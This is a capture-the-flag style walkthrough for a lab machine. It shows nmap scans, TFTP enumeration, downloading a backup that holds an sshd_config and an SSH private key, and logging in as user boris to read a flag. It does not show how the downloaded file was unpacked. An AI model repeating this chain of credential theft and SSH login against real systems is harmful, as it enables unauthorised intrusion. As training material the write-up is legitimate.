

Target machine 3

```
└─$ sudo nmap -sU --top-ports 20 192.168.16.135
```

```
(kali㉿kali)-[~/Desktop/npt]
└─$ sudo nmap -sU --top-ports 20 192.168.16.135
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 10:02 EDT
Nmap scan report for 192.168.16.135 (192.168.16.135)
Host is up (0.00034s latency).

PORT      STATE      SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcp
68/udp    open|filtered dhcp
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   closed     isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:CA:92:DA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds
```

```
sudo nmap -sU -p 69 --script tftp-enum 192.168.16.135
```

```
(kali㉿kali)-[~/Desktop/npt]
$ sudo nmap -sU -p 69 --script tftp-enum 192.168.16.135

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 10:06 EDT
Nmap scan report for 192.168.16.135 (192.168.16.135)
Host is up (0.00029s latency).

PORT      STATE SERVICE
69/udp    open  tftp
| tftp-enum:
|_ backup-config
MAC Address: 00:0C:29:CA:92:DA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds
```

```
atftp --get --remote-file backup-config 192.168.16.135
```

to get the file

```
cat backup/sshd_config
```

```
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
PrintLastLog no
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem        sftp    /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#      X11Forwarding no
#      AllowTcpForwarding no
#      PermitTTY no
#      ForceCommand cvs server

Match User boris
    PasswordAuthentication no
```

boris is the username

```
chmod 600 backup/id_rsa
```

```
ssh -i backup/id_rsa boris@192.168.16.135
```

```

(kali㉿kali)-[~/Desktop/npt]
$ ssh -i backup/id_rsa boris@192.168.16.135

The authenticity of host '192.168.16.135 (192.168.16.135)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:8: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.16.135' (ED25519) to the list of known hosts.
boris@0day3:~$ whoami
boris
boris@0day3:~$ id
uid=1000(boris) gid=1000(boris) groups=1000(boris)
boris@0day3:~$ ls -la
total 28
drwx----- 3 boris boris 4096 Jul 28 19:41 .
drwxr-xr-x 3 root root 4096 Jul 31 08:17 ..
-rw----- 1 boris boris 220 Jan 15 2023 .bash_logout
-rw----- 1 boris boris 3526 Jan 15 2023 .bashrc
-rw----- 1 boris boris 807 Jan 15 2023 .profile
drwx----- 2 boris boris 4096 Jul 24 2023 .ssh
-r----- 1 boris boris 23 Jul 28 19:38 user.txt
boris@0day3:~$ cat user.txt
NPT{boris_lvl3_access}

```

NPT{boris_lvl3_access}